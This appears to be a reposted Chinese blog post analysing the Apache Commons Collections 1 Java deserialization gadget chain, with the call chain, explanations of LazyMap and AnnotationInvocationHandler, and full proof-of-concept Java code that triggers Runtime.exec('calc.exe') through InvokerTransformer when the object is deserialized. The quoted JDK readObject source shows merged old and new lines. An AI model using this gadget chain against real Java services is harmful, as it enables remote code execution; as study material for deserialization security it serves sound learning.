Java安全之Commons Collections1分析(二)

0x00 前言

续上篇文,继续调试cc链。在上篇文章调试的cc链其实并不是一个完整的链。只是使用了几个方法的的互相调用弹出一个计算器。

Java安全之Commons Collections1分析(一)

下面来贴出他的完整的一个调用链

  1. Gadget chain:
  2. ObjectInputStream.readObject()
  3. AnnotationInvocationHandler.readObject()
  4. Map(Proxy).entrySet()
  5. AnnotationInvocationHandler.invoke()
  6. LazyMap.get()
  7. ChainedTransformer.transform()
  8. ConstantTransformer.transform()
  9. InvokerTransformer.transform()
  10. Method.invoke()
  11. Class.getMethod()
  12. InvokerTransformer.transform()
  13. Method.invoke()
  14. Runtime.getRuntime()
  15. InvokerTransformer.transform()
  16. Method.invoke()
  17. Runtime.exec()

0x01 LazyMap

在分析前先来看看LazyMap这个类,这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法。

当调用get(key)的key不存在时,会调用transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法来触发命令执行试试。

  1. public static void main(String[] args) throws Exception {
  2. //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
  3. Transformer[] transformers = new Transformer[] {
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  6. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  7. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  8. };
  9. //将transformers数组存入ChaniedTransformer这个继承类
  10. Transformer transformerChain = new ChainedTransformer(transformers);
  11. //创建Map并绑定transformerChina
  12. Map innerMap = new HashMap();
  13. innerMap.put("value", "value");
  14. Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
  15. tmpmap.get("1");
  16. }

这样也是可以成功的去执行命令。

0x02 AnnotationInvocationHandler

网上查找资料发现AnnotationInvocationHandler该类是用来处理注解的。

AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数。

在JDK里面,所有的注解类型都继承自这个普通的接口(Annotation)。

查看它的readObject⽅法

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws java.io.IOException, ClassNotFoundException {
  3. s.defaultReadObject();
  4. ObjectInputStream.GetField fields = s.readFields();
  5. @SuppressWarnings("unchecked")
  6. Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
  7. @SuppressWarnings("unchecked")
  8. Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
  9. // Check to make sure that types have not evolved incompatibly
  10. AnnotationType annotationType = null;
  11. try {
  12. annotationType = AnnotationType.getInstance(type);
  13. annotationType = AnnotationType.getInstance(t);
  14. } catch(IllegalArgumentException e) {
  15. // Class is no longer an annotation type; time to punch out
  16. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  17. }
  18. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  19. // consistent with runtime Map type
  20. Map<String, Object> mv = new LinkedHashMap<>();
  21. // If there are annotation members without values, that
  22. // situation is handled by the invoke method.
  23. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  24. // for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
  25. String name = memberValue.getKey();
  26. Object value = null;
  27. Class<?> memberType = memberTypes.get(name);
  28. if (memberType != null) { // i.e. member still exists
  29. Object value = memberValue.getValue();
  30. value = memberValue.getValue();
  31. if (!(memberType.isInstance(value) ||
  32. value instanceof ExceptionProxy)) {
  33. memberValue.setValue(
  34. new AnnotationTypeMismatchExceptionProxy(
  35. value = new AnnotationTypeMismatchExceptionProxy(
  36. value.getClass() + "[" + value + "]").setMember(
  37. annotationType.members().get(name)));
  38. annotationType.members().get(name));
  39. }
  40. }
  41. mv.put(name, value);
  42. }
  43. UnsafeAccessor.setType(this, t);
  44. UnsafeAccessor.setMemberValues(this, mv);
  45. }

使用反射调用AnnotationInvocationHandler并传入参数,这里传入一个Retention.class,和outerMap

Retention是一个注解类。outerMap是我们TransformedMap修饰过的类。

这么这时候在 AnnotationInvocationHandlerreadObject方法里面 memberValues就是我们使用反射传入的 TransformedMap的对象。

  1. Class clazz =
  2. Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  3. Constructor construct = clazz.getDeclaredConstructor(Class.class,
  4. Map.class);
  5. construct.setAccessible(true);
  6. InvocationHandler handler = (InvocationHandler)
  7. construct.newInstance(Retention.class, outerMap);

这⾥遍历了它的所有元素,并依次设置值。在调⽤setValue设置值的时候就会触发TransformedMap⾥的

Transform,从而进入导致命令的执行。

0x03 POC分析

  1. public static void main(String[] args) {
  2. Transformer[] transformers = new Transformer[] {
  3. new ConstantTransformer(Runtime.class),
  4. new InvokerTransformer("getMethod", new Class[] {
  5. String.class,
  6. Class[].class }, new Object[] { "getRuntime",
  7. new Class[0] }),
  8. new InvokerTransformer("invoke", new Class[] {
  9. Object.class,
  10. Object[].class }, new Object[] { null, new
  11. Object[0] }),
  12. new InvokerTransformer("exec", new Class[] { String.class
  13. },
  14. new String[] {
  15. "calc.exe" }),
  16. };
  17. Transformer transformerChain = new
  18. ChainedTransformer(transformers);
  19. Map innerMap = new HashMap();
  20. innerMap.put("value", "xxxx");
  21. Map outerMap = TransformedMap.decorate(innerMap, null,
  22. transformerChain);
  23. Class clazz =
  24. Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  25. Constructor construct = clazz.getDeclaredConstructor(Class.class,
  26. Map.class);
  27. construct.setAccessible(true);
  28. InvocationHandler handler = (InvocationHandler)
  29. construct.newInstance(Retention.class, outerMap);
  30. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  31. ObjectOutputStream oos = new ObjectOutputStream(barr);
  32. oos.writeObject(handler);
  33. oos.close();
  34. System.out.println(barr);
  35. ObjectInputStream ois = new ObjectInputStream(new
  36. ByteArrayInputStream(barr.toByteArray()));
  37. Object o = (Object)ois.readObject();
  38. }
  39. }

这里可以看到 在Transformer[]数组里面存储的是一个Runtime.class,而不是Runtime对象。这是因为Runtime并没有实现java.io.Serializable 接⼝的 。是不可被序列化的。而Runtime.class是属于java.lang.Classjava.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。

把这行代码序列化后,在后面的反序列化中并没有去执行到命令。因为物理机的JDK版本较高,在高版本中的AnnotationInvocationHandlerreadObject是被改动过的 。 从而并没有到达命令执行的目的,但是在低版本中的JDK是可以执行的。

0x04 参考文章

  1. P牛的JAVA安全漫谈系列
  2. https://xz.aliyun.com/t/7031#toc-2
  3. https://www.cnblogs.com/litlife/p/12571787.html
  4. https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

0X05 结尾

在分析该cc链时,总是从懵逼到顿悟到再懵逼,反反复复。在中途脑子也是一团糟。其实到这里CC链的调试也并没有结束,本文只是一点基础知识,为下篇文做铺垫。

Java安全之Commons Collections1分析(二)的更多相关文章

  1. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  2. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  3. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  4. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  5. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  6. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  7. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  8. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

  9. Java线程池使用和分析(二) - execute()原理

    相关文章目录: Java线程池使用和分析(一) Java线程池使用和分析(二) - execute()原理 execute()是 java.util.concurrent.Executor接口中唯一的 ...

随机推荐

  1. Unity踩过的坑

    1.InvokeRepeating调用会在手机后台切换时失效,Coroutine就不会 2.DLL内的函数不支持默认参数,必须传入全部参数 不然会出现如下错误: Unhandled Exception ...

  2. CVPR2020 面向密集多角度物体检测的动态修正网络(DRN)

    论文链接:https://arxiv.org/pdf/2005.09973.pdf code:https://github.com/Anymake/DRN_CVPR2020 文章概要: 本文是中科院自 ...

  3. 浅析LR.Net工作流引擎

    在当代信息化软件系统开发中,工作流引擎是其中非常重要的一环.所谓工作流引擎,是指工作流作为软件系统的一部分, 其中包括了流程的节点管理.流向管理.流程样例管理.审核管理等重要功能. 工作流引擎可根据角 ...

  4. Avtiviti工作流规范 BPM与BPMN

    进过长时间的轮转,重拾Activiti,因为最近在智联上看到多家公司的需求上写的,都要熟悉工作流引擎,也就是activiti所以重拾 之前看的视屏是activiti5,我觉得版本有点低,所以打算看一下 ...

  5. MyBatis开发重点知识

    1.1为什么需要ORM框架? 传统的JDBC编程存在的弊端: ü 工作量大,操作数据库至少要5步: ü 业务代码和技术代码耦合: ü 连接资源手动关闭,带来了隐患: MyBatis前身是iBatis, ...

  6. C# 调用SendMessage刷新任务栏图标(强制结束时图标未消失)

    本文参考C++改写 https://blog.csdn.net/dpsying/article/details/20139651  (该文章的坐标理解的有误解,会导致功能无效) SendMessage ...

  7. 【NOIP2013模拟】黑魔法师之门

    题目描述 经过了16个工作日的紧张忙碌,未来的人类终于收集到了足够的能源.然而在与Violet星球的战争中,由于Z副官的愚蠢,地球的领袖applepi被邪恶的黑魔法师Vani囚禁在了Violet星球. ...

  8. Java中CAS 基本实现原理

    一.前言 了解CAS,首先要清楚JUC,那么什么是JUC呢?JUC就是java.util.concurrent包的简称.它有核心就是CAS与AQS.CAS是java.util.concurrent.a ...

  9. Apache和分布式部署

    1.tomcat分布式部署 1.1.要配置几个tomcat,就部署几个相同程序名的tomcat 1.2.配置每个tomcat下server.xml中ajp端口,以及后面的jvmRoute,第几个就配置 ...

  10. python代码开发规范

    https://github.com/libo-sober/LearnPython/tree/master/day18 为什么要有模块? 拿来主义,提高开发效率. 便于管理维护. 什么是脚本呢? 脚本 ...